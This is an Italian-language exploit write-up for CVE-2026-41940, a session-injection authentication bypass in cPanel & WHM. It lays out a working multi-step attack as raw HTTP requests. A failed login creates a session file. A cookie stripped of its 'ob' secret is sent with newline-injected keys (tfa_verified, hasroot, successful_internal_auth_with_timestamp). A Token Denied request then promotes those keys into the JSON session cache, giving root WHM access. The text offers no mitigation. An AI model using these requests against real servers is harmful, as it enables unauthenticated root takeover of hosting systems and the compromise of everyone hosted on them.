
Exploit per CVE-2026-41940, un bypass dell'autenticazione in cPanel/WHM, che consente a utenti non autenticati di ottenere accesso root tramite iniezione di sessione e promozione della cache JSON.
CVE-2026-41940 è una vulnerabilità critica di bypass dell'autenticazione in cPanel & WHM che interessa tutte le versioni attualmente supportate. Consente a un attaccante non autenticato di aggirare l'autenticazione e ottenere accesso a livello root (WHM) o accesso a livello utente (cPanel).
La vulnerabilità deriva da due problemi principali in Cpanel/Session.pm:
saveSession: La funzione saveSession non sanificava correttamente l'input prima di scriverlo nel file di sessione su disco. In particolare, non riusciva a rimuovere i caratteri di nuova riga (\n) dal campo pass.pass nel file di sessione è normalmente crittografato utilizzando un segreto per sessione (ob). Tuttavia, se il cookie di sessione non contiene la parte ob (la parte dopo la virgola), la codifica viene saltata e il valore pass viene scritto in chiaro.Lo sfruttamento è un processo a più fasi:
Invia un tentativo di login fallito per attivare la creazione di un file di sessione su disco.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
Il server risponde con un cookie whostmgrsession, ad esempio, whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....
Invia un'altra richiesta utilizzando il cookie di sessione ma rimuovi la parte ob (la virgola e tutto ciò che la segue). Nel campo pass, inietta le chiavi di sessione desiderate utilizzando i caratteri di nuova riga.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
Poiché la parte ob manca, cpsrvd scrive il valore pass senza codifica. I caratteri di nuova riga iniettati fanno sì che le righe successive vengano interpretate come coppie chiave-valore separate nel file di sessione grezzo.
cPanel utilizza una cache JSON per le sessioni. L'iniezione grezza è presente solo nel file di testo. Per renderla "attiva", dobbiamo forzare cPanel a rileggere il file grezzo e aggiornare la cache JSON. Questo può essere fatto attivando un errore "Token Denied" su un endpoint che utilizza Cpanel::Session::Modify.
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Il token di sicurezza mancante nell'URL attiva do_token_denied, che utilizza Cpanel::Session::Modify per aggiornare il contatore token_denied. Modify legge il file grezzo (bypassando la cache) e poi scrive sia il file grezzo che la cache JSON, promuovendo di fatto le nostre chiavi iniettate al livello superiore della cache JSON.
Ora la sessione è completamente "autenticata" agli occhi di cPanel. La chiave successful_internal_auth_with_timestamp bypassa il controllo di /etc/shadow.
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Il [TOKEN] può essere ottenuto dal campo cp_security_token nella sessione, che spesso viene restituito nella risposta "Token Denied" o può essere trovato ispezionando il comportamento del cookie di sessione.
tfa_verified=1: Bypassa l'Autenticazione a Due Fattori.hasroot=1: Concede privilegi di root in WHM.successful_internal_auth_with_timestamp=[TIMESTAMP]: Bypassa la verifica effettiva della password rispetto al file shadow di sistema.user=root: Imposta l'utente della sessione su root.